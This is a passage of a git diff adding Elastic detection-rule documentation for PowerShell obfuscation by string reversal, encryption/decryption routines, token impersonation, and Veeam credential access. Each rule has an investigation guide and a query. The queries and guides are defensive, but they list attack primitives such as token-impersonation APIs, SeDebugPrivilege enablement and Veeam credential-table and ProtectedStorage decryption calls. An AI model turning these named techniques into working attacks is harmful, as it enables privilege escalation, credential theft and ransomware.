**Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating PowerShell Obfuscation via Negative Index String Reversal* + + +This alert flags PowerShell script block content that uses negative index ranges to reverse strings or arrays and rebuild content at runtime. This pattern can be used to hide command text and reduce readability during review, so the primary goal is to recover the reconstructed content and determine what it does in the observed execution context. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Review `powershell.file.script_block_text` and locate the reversal logic. Use `Esql.script_block_tmp` to quickly find match positions, then identify: + - The variable or array being reversed + - The reconstructed output (string, byte array, or command fragment) + - The sink where the output is used (for example, passed into a dynamic execution routine, used as a URL, or written to disk) +- Reconstruct the final value produced by the reversal. Focus on what the script is trying to rebuild (commands, URLs, file paths, registry paths, encoded blobs, or arguments) and record the recovered strings for scoping. +- If the script block is fragmented, pivot on `powershell.file.script_block_id` and use `powershell.sequence` and `powershell.total` to rebuild the full script in order. Reassess intent based on the complete content rather than a single fragment. +- Use `Esql.script_block_pattern_count` to prioritize reviews: + - Single-use reversal may be utility logic and requires context to judge + - Repeated reversal across a long script is more consistent with obfuscation wrappers +- Use script complexity signals to guide triage: + - High `powershell.file.script_block_entropy_bits` and high `powershell.file.script_block_unique_symbols` can indicate encoded or staged content + - Compare `powershell.file.script_block_surprisal_stdev` with the script content to determine whether the script mixes readable logic with high-randomness segments +- Validate execution context with `user.name`, `user.domain`, `user.id`, `host.name`, and `host.id`. Prioritize investigation when the user is unexpected for the host, the host is sensitive, or similar activity is new for that account. +- Review `file.path`, `file.directory`, and `file.name` (if present) to understand script origin. Treat unknown locations, new or renamed scripts, and ambiguous naming as higher risk, and check for additional script blocks tied to the same path. +- Scope related activity by searching for additional PowerShell script block events on the same `host.id` and `user.id` around `@timestamp`, and by pivoting on the same `powershell.file.script_block_id`. Look for: + - Follow-on script blocks with clearer (deobfuscated) commands + - Repeated use of similar reversal segments or reconstructed indicators +- If other endpoint telemetry is available, correlate activity on the same host and time window to identify what happened next (process launches, network connections, file writes, or other changes) and validate whether outcomes align with the reconstructed content. + + +*False positive analysis* + + +- Legitimate scripts may reverse arrays or strings for formatting, parsing, or testing. These cases typically remain readable end-to-end and do not rely on multiple layers of reconstruction to produce executable behavior. +- Developer utilities and automation tooling can include dense string manipulation. Validate whether the observed `file.path` and execution context (`user.name`, `host.name`) align with approved workflows and whether the same script content recurs consistently across expected hosts. +- If activity is confirmed benign, prefer context-based tuning using stable attributes visible in the alert (for example, consistent `file.path` and recognizable script content patterns) rather than suppressing the technique broadly. + + +*Response and remediation* + + +- If the reconstructed content indicates malicious behavior, isolate the affected host to limit further execution and reduce the risk of lateral movement. +- Preserve evidence by retaining the full `powershell.file.script_block_text` and all related fragments grouped by `powershell.file.script_block_id`. Capture the reconstructed strings and relevant metadata (`powershell.sequence`, `powershell.total`, `Esql.script_block_pattern_count`) in case notes. +- Identify and contain the execution source. If an unauthorized on-disk script is referenced by `file.path`, remove or quarantine it and investigate how it was introduced using your standard incident response workflow. +- Investigate the associated account (`user.id`) for signs of compromise. Apply account controls (credential reset, session invalidation, privilege review) based on your procedures and observed scope. +- Hunt for additional exposure by pivoting on recovered indicators and on recurrence of the reversal technique across hosts and users. Remediate any additional impacted endpoints identified during scoping. +- After containment, improve preventative controls appropriate for your environment, such as restricting PowerShell usage to approved users/hosts and enhancing monitoring for obfuscation and dynamic execution patterns. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for +| eval Esql.script_block_length = length(powershell.file.script_block_text) +| where Esql.script_block_length > 500 + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + powershell.file.script_block_text, + """\$\w+\[\-\s?1\.\.""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_length, + Esql.script_block_tmp, + powershell.file.*, + file.name, + file.path, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least once +| where Esql.script_block_pattern_count >= 1 + +// FP Patterns +| where not powershell.file.script_block_text like "*GENESIS-5654*" + +| where file.name not like ("PSFzf.psm1", "Tenable_API_AssetLists_IPv6Seeder.ps1", "Utility.ps1") + // ESQL requires this condition, otherwise it only returns matches where file.name exists. + or file.name is null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-script-with-encryption-decryption-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-script-with-encryption-decryption-capabilities.asciidoc new file mode 100644 index 0000000000..88e72b63d5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-script-with-encryption-decryption-capabilities.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-20-powershell-script-with-encryption-decryption-capabilities]] +=== PowerShell Script with Encryption/Decryption Capabilities + +Identifies PowerShell script block content that uses .NET cryptography APIs for file encryption or decryption. Attackers abuse these routines to encrypt data for impact or decrypt staged payloads to evade defenses. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating PowerShell Script with Encryption/Decryption Capabilities* + + +This rule identifies PowerShell script block content that implements cryptographic encryption or decryption using .NET APIs. Matching script blocks commonly include symmetric cryptography classes (for example, AES/Rijndael or the SymmetricAlgorithm base type), key derivation helpers (for example, PasswordDeriveBytes or Rfc2898DeriveBytes), explicit cipher configuration (CipherMode and PaddingMode), and calls that create an encryptor or decryptor. + +This behavior can be legitimate (protecting configuration values, packaging content, or controlled encryption for business workflows). It can also indicate malicious activity such as encrypting local data for impact or decrypting staged content to reduce static visibility before follow-on execution. Prioritize determining what data is being transformed, where outputs are written, and whether the user/host/script origin aligns with expected activity. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Review `powershell.file.script_block_text` to understand the cryptographic intent and data flow: + - Identify whether the logic is primarily encrypting, decrypting, or doing both. + - Note which cryptographic primitives are used (for example, AES/Rijndael, hashing helpers, and key derivation routines) and how keys/IVs are produced (hard-coded values, derived from passwords, generated randomly, or passed in). + - Identify the transformed data source and destination: + - File-oriented operations: look for path construction, directory traversal patterns, repeated read/write loops, file extension changes, renames, or deletion of originals. + - In-memory operations: look for large embedded blobs, byte arrays, stream usage, or logic that converts decrypted content into executable form or writes it to a new artifact. + - Extract and preserve any embedded secrets or deterministic derivation parameters (password strings, salts, iteration counts, static IVs, or key material), as these can be critical for impact assessment and recovery. + +- Determine whether the alert contains the full implementation or only a fragment: + - Use `powershell.file.script_block_length` to gauge whether this is a complete routine (larger blocks) versus a wrapper or function invocation (smaller blocks). + - If the script appears incomplete, pivot on `powershell.file.script_block_id` and use `powershell.sequence` / `powershell.total` to retrieve and order all fragments before concluding intent. + +- Validate execution context and provenance: + - Review `user.name`, `user.domain`, and `user.id` to determine whether this account typically performs encryption/decryption tasks and whether the account scope matches the host role. + - Review `host.name` and `host.id` to determine asset criticality and whether similar activity is expected on this system (for example, administrative hosts may have more automation than standard endpoints). + - If `file.path` / `file.name` is present, evaluate whether the script origin is expected: + - Compare the path and name to approved automation locations and naming conventions. + - Treat unexpected paths, user-writable directories, or newly observed script locations as higher risk. + +- Scope the activity using alert fields: + - On the same host, search for additional script blocks tied to the same `powershell.file.script_block_id` to find related functions or setup code not visible in the initial alert fragment. + - Search across hosts for repeating patterns in `powershell.file.script_block_text` and for the same `file.name` to determine whether this is a widely deployed administrative script or isolated activity. + - Pivot on `user.id` to identify whether similar script blocks appear on multiple hosts, which may indicate coordinated activity. + +- Correlate with adjacent telemetry around `@timestamp` for the same `host.id` and `user.id` (if available in your environment): + - Process execution telemetry to identify the PowerShell host process and what initiated it, helping distinguish interactive use from automation or remotely initiated activity. + - File activity telemetry to identify bursts of file modifications/creations consistent with bulk encryption/decryption and to determine which directories and file types were affected. + - Network telemetry to identify connections that could support retrieval of encrypted content, exchange of key material, or staging/downloading of additional payloads. + - Authentication telemetry to identify unusual logons or session types for the user preceding execution. + +- Determine disposition and urgency: + - Treat as higher severity if the script indicates broad file processing, writes many outputs, modifies user data locations, or includes embedded key material/blobs associated with staged content. + - Treat as lower severity if the script is clearly tied to approved operations, originates from a known `file.path`, is executed by expected accounts, and shows consistent recurrence patterns with expected scope. + + +*False positive analysis* + + +- Legitimate PowerShell automation may implement encryption/decryption for secure configuration handling, packaging, data protection, or interoperability with other systems. +- Benign activity is more likely to have consistent `file.path` / `file.name` values, execute under expected administrative accounts, and recur on appropriate hosts with stable script content. +- If the script is determined to be benign, document what data it protects, where it is expected to run, which accounts execute it, and what normal recurrence looks like to reduce future triage time. + + +*Response and remediation* + + +- If the activity is suspicious or malicious: + - Contain the host to prevent further encryption/decryption activity and reduce the risk of spread or data impact. + - Preserve evidence from the alert, including the full `powershell.file.script_block_text` and any reconstructed fragments correlated via `powershell.file.script_block_id`. + - If `file.path` is present, collect the referenced script from disk and preserve it for forensic review and scoping. + - Identify impacted systems and data: + - If file-impact is suspected, prioritize backup protection, incident response escalation, and recovery planning. + - If payload staging is suspected, prioritize identifying the decrypted output or follow-on execution artifacts. + - Scope and hunt across the environment for related activity using `user.id`, `host.id`, recurring `file.name`, and distinctive fragments of `powershell.file.script_block_text`. + - Remediate the associated account and access path: validate legitimacy, reset credentials if compromise is suspected, and apply least-privilege controls where appropriate. + - Remove or block the identified script and any related artifacts discovered during analysis, and monitor for recurrence. + +- If the activity is confirmed benign: + - Record the expected `file.path` / `file.name`, the responsible `user.id`, and normal execution patterns to support consistent future triage and tuning decisions. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + ( + "Cryptography.AESManaged" or + "Cryptography.RijndaelManaged" or + "Cryptography.SHA1Managed" or + "Cryptography.SHA256Managed" or + "Cryptography.SHA384Managed" or + "Cryptography.SHA512Managed" or + "Cryptography.SymmetricAlgorithm" or + "PasswordDeriveBytes" or + "Rfc2898DeriveBytes" + ) and + ( + CipherMode and PaddingMode + ) and + ( + ".CreateEncryptor" or + ".CreateDecryptor" + ) + ) and + not user.id : "S-1-5-18" and + not ( + file.name : "Bootstrap.Octopus.FunctionAppenderContext.ps1" and + powershell.file.script_block_text : ("function Decrypt-Variables" or "github.com/OctopusDeploy") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Encrypted/Encoded File +** ID: T1027.013 +** Reference URL: https://attack.mitre.org/techniques/T1027/013/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-script-with-token-impersonation-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-script-with-token-impersonation-capabilities.asciidoc new file mode 100644 index 0000000000..c8f28647b0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-script-with-token-impersonation-capabilities.asciidoc @@ -0,0 +1,231 @@ +[[prebuilt-rule-8-19-20-powershell-script-with-token-impersonation-capabilities]] +=== PowerShell Script with Token Impersonation Capabilities + +Detects PowerShell scripts that references token manipulation and impersonation APIs such as CreateProcessWithTokenW, DuplicateToken/ImpersonateLoggedOnUser, or AdjustTokenPrivileges (SeDebugPrivilege). Attackers abuse token impersonation to elevate privileges and bypass access controls. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/decoder-it/psgetsystem +* https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/Get-System.ps1 +* https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-MS16032.ps1 +* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0109_windows_powershell_script_block_log.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 119 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating PowerShell Script with Token Impersonation Capabilities* + + +This rule Detects PowerShell scripts that includes token manipulation and impersonation primitives. Such functionality can be used to execute follow-on actions under a different security context, including elevated or alternate user tokens. The primary investigation goals are to (1) reconstruct and understand the script intent, (2) validate whether the activity is authorized, and (3) identify any resulting privileged execution on the host. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Preserve and reconstruct the full script block content: + - Capture `powershell.file.script_block_text` from the alert for analysis and evidence retention. + - If the script is logged in multiple fragments, pivot on `powershell.file.script_block_id` and reassemble in order using `powershell.sequence`. Use `powershell.total` to confirm you have the complete set of fragments. + - Use `powershell.file.script_block_length` to help gauge completeness and identify unusually large blocks that may contain reusable libraries or modules. + +- Identify which token technique is present and what outcome the script is attempting: + - Review the reconstructed content for indicators of: + - Token duplication and impersonation (for example: `DuplicateToken`, `DuplicateTokenEx`, `SetThreadToken`, `ImpersonateLoggedOnUser`, `NtImpersonateThread`). + - Named pipe impersonation (`ImpersonateNamedPipeClient`). + - Privilege enablement (`AdjustTokenPrivileges` with `SeDebugPrivilege`). + - Token-based process creation (for example: `CreateProcessWithTokenW`, `CreateProcessAsUserW`, `CreateProcessAsUserA`) and related extended startup attributes (`STARTUPINFOEX`, `UpdateProcThreadAttribute`). + - Higher-level wrappers commonly associated with token manipulation (for example: `Invoke-TokenManipulation`). + - Determine whether the script only defines helper functions/types versus actively invoking them. Content that both defines and calls token APIs within the same execution window is higher risk. + - Note any embedded targeting details in the script content (for example: intended user context, target process identifiers, or follow-on payload references), and preserve them for scoping and hunting. + +- Validate execution context and expectedness: + - Use `host.name` and `host.id` to understand where the activity occurred and whether the system role typically requires privileged PowerShell usage. + - Use `user.name`, `user.domain`, and `user.id` to identify the executing account and determine whether this user is expected to run scripts that manipulate access tokens on this host. + - Prioritize alerts involving unexpected users, unusual hosts (for example, servers with limited admin access), or repeated/recurrent script blocks indicating persistence or automation. + +- Assess script provenance when file context is present: + - If `file.path` is populated, determine whether the script came from a known module or an on-disk script file, and whether the location and naming are consistent with approved tooling. + - If only `file.directory` and `file.name` are populated, use them to pivot to related script blocks and identify other executions from the same origin. + - If the origin appears unfamiliar or user-writable, treat the artifact as suspicious and prioritize collecting the referenced file (and any adjacent module content) for deeper analysis. + +- Correlate with surrounding host activity to determine impact: + - Pivot on `host.name` and the alert `@timestamp` into adjacent telemetry to identify the PowerShell host process and its initiating parent/source (interactive session, remote management, scheduled execution, or another process). + - Look for follow-on activity shortly after the alert time that would indicate successful impersonation or privilege escalation, such as: + - New process execution under a different user context than `user.name`. + - Privileged actions that require elevated rights (for example, service/task changes, registry modifications, or access to protected resources). + - If multiple script blocks occur close together for the same `user.id` and `host.id`, review them as a single activity chain to understand staging, execution, and any post-escalation behavior. + +- Scope and hunt for related activity: + - Search for additional occurrences of distinctive substrings from `powershell.file.script_block_text` (function names, API names, unique strings) across other users and hosts to identify reuse. + - Review whether the same `user.id` is associated with similar script blocks on other `host.id` values, which can indicate broad automation or a compromised account used across systems. + - If `file.path` is present, check for the same path and file name across the environment, and identify unexpected hosts where the artifact appears. + + +*False positive analysis* + + +- Legitimate administrative automation may use token impersonation to run tasks under alternate credentials, perform controlled privilege transitions, or integrate with management workflows. +- Development and troubleshooting scripts may contain token API references as reusable helpers without being used for malicious outcomes. + +To reduce false positives, focus on provenance and behavior: scripts from known, approved sources and executed by expected administrative identities on expected hosts are more likely benign, while ad-hoc or newly introduced scripts, unfamiliar file origins, and follow-on privileged execution increase concern. + + +*Response and remediation* + + +- If the activity is unauthorized or suspicious: + - Contain the host to prevent further privileged execution and limit lateral movement according to your incident response procedures. + - Preserve evidence: the reconstructed script block content, associated `powershell.file.script_block_id` fragments, and any referenced on-disk artifacts from `file.path` (or `file.directory`/`file.name`). + - Investigate and remediate outcomes of token impersonation, including processes started under unexpected security contexts and any privileged system changes occurring after the alert time. + +- Reduce attacker access and recurrence: + - Review the executing account identified in `user.id`; reset credentials and invalidate active sessions as appropriate. + - Review privileged access assignments for the involved accounts and hosts, and remove unauthorized privilege grants where identified. + - If the script enabled sensitive privileges (for example, `SeDebugPrivilege`), assess for additional post-exploitation activity that could leverage enhanced access to protected processes and resources. + +- Eradicate and recover: + - Remove unauthorized scripts/modules and any secondary artifacts or persistence mechanisms discovered during investigation. + - Monitor for repeat executions by hunting for the same token manipulation indicators observed in `powershell.file.script_block_text` across the environment. + - Ensure PowerShell script block logging is enabled and retained on systems where PowerShell is permitted so future activity can be reconstructed and scoped effectively. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text:( + "Invoke-TokenManipulation" or + "ImpersonateNamedPipeClient" or + "NtImpersonateThread" or + ( + "STARTUPINFOEX" and + "UpdateProcThreadAttribute" + ) or + ( + "AdjustTokenPrivileges" and + "SeDebugPrivilege" + ) or + ( + ("DuplicateToken" or + "DuplicateTokenEx") and + ("SetThreadToken" or + "ImpersonateLoggedOnUser" or + "CreateProcessWithTokenW" or + "CreatePRocessAsUserW" or + "CreateProcessAsUserA") + ) + ) and + not ( + user.id:("S-1-5-18" or "S-1-5-19" or "S-1-5-20") and + file.directory: "C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads" + ) and + not powershell.file.script_block_text : ( + "sentinelbreakpoints" and "Set-PSBreakpoint" and "PowerSploitIndicators" + ) and + not ( + powershell.file.script_block_text : "New-HPPrivateToastNotificationLogo" and + file.path : "C:\Program Files\HPConnect\hp-cmsl-wl\modules\HP.Notifications\HP.Notifications.psm1" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Token Impersonation/Theft +** ID: T1134.001 +** Reference URL: https://attack.mitre.org/techniques/T1134/001/ +* Sub-technique: +** Name: Create Process with Token +** ID: T1134.002 +** Reference URL: https://attack.mitre.org/techniques/T1134/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-script-with-veeam-credential-access-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-script-with-veeam-credential-access-capabilities.asciidoc new file mode 100644 index 0000000000..b436e5ad39 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-script-with-veeam-credential-access-capabilities.asciidoc @@ -0,0 +1,210 @@ +[[prebuilt-rule-8-19-20-powershell-script-with-veeam-credential-access-capabilities]] +=== PowerShell Script with Veeam Credential Access Capabilities + +Identifies PowerShell script block content that queries Veeam credential tables or uses ProtectedStorage to decrypt stored secrets. Attackers abuse Veeam credentials to access backup infrastructure and enable ransomware operations. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://forums.veeam.com/veeam-backup-replication-f2/recover-esxi-password-in-veeam-t34630.html +* https://www.crowdstrike.com/blog/anatomy-of-alpha-spider-ransomware/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating PowerShell Script with Veeam Credential Access Capabilities* + + +This alert indicates PowerShell script content consistent with accessing credential material used by Veeam, either by querying the Veeam configuration database credential table or by invoking ProtectedStorage decryption routines. Because backup credentials often provide privileged access to infrastructure and backup systems, treat this activity as high risk until verified as authorized. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Confirm execution context and prioritize: + - Review `host.name` and `host.id` to determine whether the activity occurred on a host expected to administer Veeam or access its configuration database. + - Review `user.name`, `user.domain`, and `user.id` to determine whether the initiating account is expected to perform backup administration, database querying, or credential recovery activities. + - Note the alert `@timestamp` and determine whether it aligns with an approved maintenance window or change activity. + +- Analyze the script block content for intent: + - Review `powershell.file.script_block_text` to understand which capability is present: + - Credential table access patterns (for example, references to `[dbo].[Credentials]` with Veeam-related identifiers). + - ProtectedStorage decryption usage (for example, `ProtectedStorage]::GetLocalString`), which may indicate an attempt to decrypt stored secret material. + - Identify and record any embedded target details present in the script content (database server names, instances, connection parameters, or credential object identifiers) to drive scoping and correlation. + - Look for evidence of data handling that suggests extraction, such as formatting credential data, aggregating results, writing output to disk, or preparing data for transfer. + +- Reconstruct the complete script when split across multiple events: + - Group related events by `powershell.file.script_block_id` and order them by `powershell.sequence` through `powershell.total` to rebuild the full script logic before assessing intent. + - If only one fragment triggered the alert, ensure you retrieve the remaining fragments for the same `powershell.file.script_block_id`, since supporting logic may be contained in non-matching fragments. + - Use `powershell.file.script_block_length` as context; unusually large script blocks can indicate imported tooling or staged functionality rather than routine administration. + +- Determine script origin and assess whether it is expected: + - If `file.path`, `file.directory`, or `file.name` are present, identify the on-disk script source and evaluate whether the location and naming align with approved administrative scripts (versus unexpected user-writable locations). + - If file metadata is absent, consider inline or remote execution and prioritize correlation with other endpoint telemetry to identify how PowerShell was initiated. + +- Scope within PowerShell telemetry: + - Search for additional PowerShell script block activity from the same `host.name` and `user.name` near the alert time to identify surrounding steps (database connectivity setup, credential parsing, decryption routines, or output handling). + - Pivot on `powershell.file.script_block_id` to determine whether the script was executed repeatedly on the same host, and whether the same script appears on other hosts or under different users. + - Search for other occurrences of the same key strings in `powershell.file.script_block_text` across hosts and users to identify broader use, reuse, or distribution. + +- Correlate with adjacent telemetry to validate access and identify follow-on behavior: + - Process execution telemetry: determine whether PowerShell activity was interactive or triggered by another process, and whether the launch chain is expected for the user and host. + - Network telemetry: check for connections from the alerting host to database servers and to backup-related infrastructure around the alert time, and validate whether the destinations are expected. + - Authentication telemetry: look for new or unusual logons involving the initiating user or any accounts referenced in the script content, especially to backup servers, database servers, and other high-value systems. + - Database auditing (if available): review authentication and query activity against the Veeam configuration database around the alert time for evidence of credential table access, repeated extraction attempts, or unusual query volume. + +- Assess potential impact: + - Determine whether the script indicates bulk credential extraction versus targeted credential retrieval. + - Review for subsequent activity that could indicate use of obtained credentials to access or modify backup infrastructure, including actions that reduce recovery options. + + +*False positive analysis* + + +- Approved Veeam administration, troubleshooting, or support workflows may reference the Veeam configuration database schema and credential storage routines; validate authorization, operator identity, and business justification. +- Maintenance activities such as upgrades, migrations, or recoveries may require credential-related queries or decryption logic; confirm timing, scope, and the designated administrators and hosts involved. +- Internal security testing may intentionally validate credential exposure paths; confirm test authorization and ensure results are handled and stored securely. +- Custom automation or reporting that interfaces with the Veeam database can trigger this alert; validate script ownership, change control approval, and that outputs do not expose secrets. + + +*Response and remediation* + + +- If activity is not authorized, treat it as a credential access incident: + - Contain the affected host to prevent additional credential access and potential follow-on actions against backup infrastructure. + - Restrict or disable the initiating account (`user.name` / `user.id`) as appropriate, and review recent activity for signs of compromise. + +- Preserve evidence for incident response: + - 